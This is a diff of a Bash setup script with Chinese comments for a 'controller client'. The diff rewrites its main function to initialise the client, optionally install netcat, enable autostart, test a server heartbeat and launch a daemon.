print_color "开始自动设置控制器客户端..." "$BLUE"
|
|
||||||
|
|
||||||
# 1. 安装依赖
|
|
||||||
install_dependencies
|
|
||||||
|
|
||||||
# 2. 初始化配置
|
|
||||||
init_config
|
|
||||||
|
|
||||||
# 3. 停止可能运行的旧进程
|
|
||||||
stop_client
|
|
||||||
|
|
||||||
# 4. 设置开机自启
|
|
||||||
install_service
|
|
||||||
|
|
||||||
# 5. 启动系统服务
|
|
||||||
start_service
|
|
||||||
|
|
||||||
# 6. 显示状态
|
|
||||||
echo
|
|
||||||
show_status
|
|
||||||
|
|
||||||
echo
|
|
||||||
print_color "自动设置完成!" "$GREEN"
|
|
||||||
print_color "客户端已启动并设置开机自启" "$GREEN"
|
|
||||||
print_color "日志文件: $LOG_FILE" "$BLUE"
|
|
||||||
print_color "序列号: $SERIAL" "$BLUE"
|
|
||||||
print_color "使用 'systemctl status controller-client' 查看服务状态" "$YELLOW"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# 主函数
|
# 主函数
|
||||||
main() {
|
main() {
|
||||||
case "${1:-}" in
|
log "初始化客户端..."
|
||||||
"daemon")
|
|
||||||
# 守护进程模式(由systemd调用)
|
# 初始化变量
|
||||||
init_config
|
init_vars
|
||||||
daemon_main
|
|
||||||
;;
|
# 显示状态
|
||||||
"stop")
|
show_status
|
||||||
# 停止客户端
|
|
||||||
init_config
|
# 尝试安装netcat(如果不可用)
|
||||||
stop_client
|
if [[ $HAS_NC -eq 0 ]]; then
|
||||||
;;
|
try_install_netcat
|
||||||
"status")
|
fi
|
||||||
# 显示状态
|
|
||||||
init_config
|
# 设置开机自启
|
||||||
show_status
|
setup_autostart
|
||||||
;;
|
|
||||||
"auto"|"")
|
# 测试连接
|
||||||
# 自动设置模式(默认)
|
log "测试服务器连接..."
|
||||||
auto_setup
|
if send_heartbeat; then
|
||||||
;;
|
log "✓ 服务器连接测试成功"
|
||||||
*)
|
else
|
||||||
print_color "用法: $0 [auto|stop|status]" "$RED"
|
log "✗ 服务器连接测试失败,但将继续尝试"
|
||||||
echo " auto - 自动设置并启动(默认)"
|
fi
|
||||||
echo " stop - 停止客户端"
|
|
||||||
echo " status - 查看状态"
|
# 启动守护进程
|
||||||
;;
|
log "启动主守护进程..."
|
||||||
esac
|
start_daemon
|
||||||
}
|
}
|
||||||
|
|
||||||
# 脚本入口 - 直接运行就执行自动设置
|
# 信号处理
|
||||||
|
trap 'log "客户端停止"; exit 0' INT TERM
|
||||||
|
|
||||||
|
# 脚本入口
|
||||||
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
|
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
|
||||||
main "$@"
|
main "$@"
|
||||||
fi
|
fi
|
||||||
|
|||||||
Reference in New Issue
Block a user